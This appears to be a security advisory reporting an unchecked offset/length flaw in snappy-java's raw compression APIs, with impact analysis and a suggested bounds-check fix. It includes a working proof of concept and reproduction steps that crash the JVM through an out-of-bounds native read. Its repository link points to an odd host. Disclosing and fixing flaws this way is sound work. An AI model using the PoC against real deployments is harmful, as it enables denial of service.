A critical vulnerability has been identified in snappy-java, a popular Java compression library wrapping the native Snappy C++ library. The issue allows attackers to trigger a native buffer over-read or heap corruption (buffer overflow) by supplying crafted offset and length parameters to the rawCompress and rawUncompress methods. This can lead to Denial of Service (DoS) via JVM crash or potential Remote Code Execution (RCE).
- Vendor: xerial
- Product: snappy-java
- Repository: https://github.com/xerial/snappy-java
- Affected Versions: All versions up to and including
1.1.10.5(Verified).
The snappy-java library exposes "raw" compression APIs (e.g., Snappy.rawCompress) that accept input/output arrays along with user-specified offsets and lengths. These parameters are passed directly to the native C++ implementation (SnappyNative.cpp) via JNI without validation.
The native code uses these parameters to calculate memory addresses using simple addition (base_address + offset). If offset + length exceeds the bounds of the array, the native code reads or writes outside the allocated memory region.
- Java Wrapper: src/main/java/org/xerial/snappy/Snappy.java
- Native Implementation:
src/main/native/SnappyNative.cpp
- Denial of Service (DoS): An attacker can crash the JVM by causing a segmentation fault (SIGSEGV) when the native code attempts to access unmapped memory.
- Information Disclosure: An attacker could read sensitive data from the process heap if the over-read falls within mapped memory.
- Remote Code Execution (RCE): By controlling the
outputOffsetin rawCompress, an attacker could overwrite critical heap structures, potentially leading to arbitrary code execution.
The following Java code demonstrates the vulnerability by triggering a JVM crash:
import org.xerial.snappy.Snappy;
public class PoC {
public static void main(String[] args) throws Exception {
byte[] input = new byte[16];
byte[] output = new byte[1024];
// Trigger generic SIGSEGV by reading far
// outside the byte array bounds.
Snappy.rawCompress(input, 100_000_000, 16, output, 0);
}
}The Snappy.java wrapper must validate that:
inputOffset + inputLength <= input.lengthoutputOffset + maxCompressedLength <= output.length(or similar check)
Before passing these values to the native layer.
Create a reproduction directory.
mkdir -p snappy-repro/reproduce
cd snappy-reproDownload the vulnerable jar (e.g., 1.1.10.5).
mkdir -p libs
curl -L -o libs/snappy-java.jar https://repo1.maven.org/maven2/org/xerial/snappy/snappy-java/1.1.10.5/snappy-java-1.1.10.5.jarCreate reproduce/Reproduction.java:
import org.xerial.snappy.Snappy;
public class Reproduction {
public static void main(String[] args) {
System.out.println("[+] Starting Snappy-Java DoS Reproduction...");
try {
byte[] input = new byte[16];
byte[] output = new byte[1024];
// Large offset to trigger OOB read
int hugeOffset = 100000000;
System.out.println("[!] Invoking rawCompress with offset " + hugeOffset);
Snappy.rawCompress(input, hugeOffset, 16, output, 0);
} catch (Exception e) {
e.printStackTrace();
}
}
}Execute the PoC.
javac -cp libs/snappy-java.jar reproduce/Reproduction.java
# Run (use a JDK matching your system architecture, e.g., JDK 11+)
java -cp libs/snappy-java.jar:reproduce ReproductionThe JVM will crash.
[+] Starting Snappy-Java DoS Reproduction...
[!] Invoking rawCompress with offset 100000000
#
# A fatal error has been detected by the Java Runtime Environment:
#
# SIGSEGV (0xb) ...
# Problematic frame:
# C [libsnappyjava.dylib+...]